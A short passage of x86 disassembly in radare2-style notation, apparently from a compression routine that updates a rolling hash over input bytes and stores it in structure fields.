je 0x43931e
cmp eax, 0xffffffff
je 0x43931e
mov dword [esi + 0x6af8c], edi
cmp eax, 0x106
jae 0x4392f9
mov ecx, esi
call fcn.004394ed
mov dword [esi + 0x6af7c], edi
mov ecx, edi
movzx eax, byte [ebx + edi]
shl ecx, 5
xor ecx, eax
and ecx, 0x7fff
inc edi
mov dword [esi + 0x6af7c], ecx
cmp edi, 2
jb 0x439301
jmp 0x43932e
mov dword [esi + 0x6af8c], 1
mov dword [esi + 0x6af90], edi
pop edi
pop esi
pop ebx
pop ebp
ret